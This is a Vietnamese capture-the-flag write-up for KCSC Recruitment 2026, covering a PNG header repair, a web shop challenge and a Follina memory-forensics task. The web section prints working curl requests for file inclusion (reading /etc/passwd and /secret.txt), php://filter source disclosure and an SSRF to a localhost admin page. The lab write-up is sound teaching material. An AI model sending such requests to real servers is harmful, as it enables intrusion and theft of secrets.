# **KCSC Recruitment 2026** # Misc ## I. 2n0si3 ![Screenshot_2025-12-14_10-52-26](https://hackmd.io/_uploads/S1U7ShofZx.png) Đề cung cấp file: 2n0is3.png Khi mở lên thì bị lỗi định dạng ![image_2025-12-14_110253397](https://hackmd.io/_uploads/HJIgvnjMbe.png) Kiểm tra metadata của file thì thấy file bị lỗi format ![image_2025-12-14_110451191](https://hackmd.io/_uploads/Hk2wwnozWe.png) Sau đó kiểm tra hexdump của file ![image_2025-12-14_110608820](https://hackmd.io/_uploads/rJ93w3iGWe.png) Phát hiện thấy Header của file bắt đầu bằng IDAT, sau khi đối chiếu với định dạng chuẩn của 1 file png thì nghi vấn 16 bytes phía trước đã bị cắt mất Bổ sung 16 bytes còn thiếu vào đầu Header: > 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 Save lại và ta được file ảnh như này: ![image_2025-12-14_111105684](https://hackmd.io/_uploads/B17yYnifZg.png) Nhận thấy dạng ảnh này là dạng Stereogram nên ta mở StegSolve lên Trong phần Analyse ta nhấn chọn Stereogram Solver Sau đó bấm nút ">" ở góc dưới cho đến offset 96 thì ta được flag ![image_2025-12-14_111512245](https://hackmd.io/_uploads/SkY0FhiGWl.png) # Web: ## I. Santa Shop: ![image](https://hackmd.io/_uploads/SJQYansfWl.png) Mở link lên đăng kí tài khoản và đăng nhập ![image](https://hackmd.io/_uploads/H1nhphjfZx.png) ![image](https://hackmd.io/_uploads/rJ4AT2jGZx.png) Nhấn F12 mở devtools lên để kiểm ra source thì phát hiện ra flag ![image](https://hackmd.io/_uploads/rynbAnofWe.png) ## II . Santa's Shop Revenge ![image](https://hackmd.io/_uploads/H13wrl2fZl.png) Bấm vào link và đăng nhập Sau đó kiểm tra source code ![image](https://hackmd.io/_uploads/BydlOehMWx.png) ![image](https://hackmd.io/_uploads/HkdMdg3Mbl.png) Ta thấy file bị lỗi source Nên ta dùng ``` curl "http://67.223.119.69:5027/file.php?image=/etc/passwd" ``` để đọc được file và ta phát hiện thấy dòng này > "Không được có .. trong path" Vì vậy ta dùng PHP wrapper để đọc file PHP mà không bị execute ``` curl "http://67.223.119.69:5027/file.php?image=php://filter/convert.base64-encode/resource=index.php" ``` Sau đó decode base64 để lấy source Rồi phân tích các file quan trọng: ``` # config.php curl "http://67.223.119.69:5027/file.php?image=php://filter/convert.base64-encode/resource=config.php" # file.php curl "http://67.223.119.69:5027/file.php?image=php://filter/convert.base64-encode/resource=file.php" # buy.php curl "http://67.223.119.69:5027/file.php?image=php://filter/convert.base64-encode/resource=buy.php" # admin.php curl "http://67.223.119.69:5027/file.php?image=php://filter/convert.base64-encode/resource=admin.php" ``` từ source code cho ta biết > Chức năng: Cập nhật số coin của user > > Yêu cầu: > > Phải gọi từ localhost (127.0.0.1 hoặc ::1) > > Cần secret từ /secret.txt > > Parameters: username, coin, secret Bắt đầu lấy secret: ``` curl "http://67.223.119.69:5027/file.php?image=/secret.txt" ``` Ta có được secret: ![image](https://hackmd.io/_uploads/ryLYce2f-l.png) Ta biết rằng không thể gọi admin.php trực tiếp Nhưng file.php có thể tạo HTTP request qua file_get_contents() Ta dùng ``` curl "http://67.223.119.69:5027/file.php?image=http://127.0.0.1/admin.php" ``` Để test xem SSRF có hoạt động không Hệ thống sẽ trả về: > Vui lòng nhập username, coin và SECRET Và SSRF hoạt động bình thường Gọi admin.php qua file.php với parameters ``` http://127.0.0.1/admin.php?username=ln&coin=100000&secret=ChiCon1BuocNuaThoi~_~ ``` Nhưng có 1 vấn đề là: Ký tự & bị hiểu là parameters của file.php Nên ta URL encode toàn bộ URL bên trong cuối cùng là thực thi câu lệnh: ``` curl "http://67.223.119.69:5027/file.php?image=http%3A%2F%2F127.0.0.1%2Fadmin.php%3Fusername%3Dln%26coin%3D100000%26secret%3DChiCon1BuocNuaThoi~_~" ``` Hệ thống trả về :Đã cập nhật coin cho <b>ln</b> thành <b>100000</b>! Quay lại trang web, lúc này số tiền đã được cập nhật, bấm mua hàng có giá 99999$ và ta được flag # Forensics ## Ung vien tiem nang ![Screenshot_2025-12-23_11-11-38](https://hackmd.io/_uploads/H1CKUcDQbl.png) Mở file .eml bằng text editor (Notepad/Sublime Text), ta thấy một khối ký tự Base64 rất dài bắt đầu bằng UEsDB.... Header PK (UEsDB) cho biết đây là định dạng file nén (ZIP). Copy đoạn Base64 đó. Decode Base64 và lưu thành file CV.zip. Giải nén file ZIP này ra thư mục. Tìm tất cả các file thì ta thấy 1 file chứa 1 chuỗi hex đáng ngờ ![Screenshot_2025-12-23_11-15-25](https://hackmd.io/_uploads/B1euPcw7bx.png) giải nén ra thì ta được flag part 1: > KCSC{CVE-2022-30 Phân tích Part 2: Ta cần tìm xem tiến trình nào đã được sinh ra từ việc mở file Word. > python3 vol.py -f Memory.dmp windows.pstree Kết quả phân tích: Ta thấy một chuỗi tiến trình cha-con rất đáng ngờ, đặc trưng của Follina: WINWORD.EXE: Nạn nhân mở file Word. └── msdt.exe (PID 1292): Word gọi công cụ chẩn đoán (thông qua lỗ hổng ở Part 1). └── **`sdiagnhost.exe`** (PID 5632): Đây là *Scripted Diagnostics Native Host*. Nó là engine thực sự chịu trách nhiệm chạy các script chẩn đoán. Mã độc (PowerShell script) sẽ nằm trong bộ nhớ của sdiagnhost.exe (PID 5632). Ta chỉ dump riêng RAM của tiến trình nghi vấn > python3 vol.py -f Memory.dmp windows.memmap --pid 5632 --dump Tạo ra file pid.5632.dmp Do nghi ngờ mã độc kết nối đến C2 server, ta tìm kiếm địa chỉ IP độc hại đã phát hiện ở Part 1 (192.168.139.139) trong file dump. > strings -e l pid.5632.dmp | grep -C 5 "192.168.139.139" Ta thấy được base64 phần 2 của flag, decode base64 ra thì ta được flag part 2: ![Screenshot_2025-12-23_11-26-16](https://hackmd.io/_uploads/SJ3e95DmWx.png) Part 2: > 190_f0ll1n4_|*(\/\/[])149|V0571c_RC3} Flag: KCSC{CVE-2022-30190_f0ll1n4_|*(\/\/[])149|V0571c_RC3}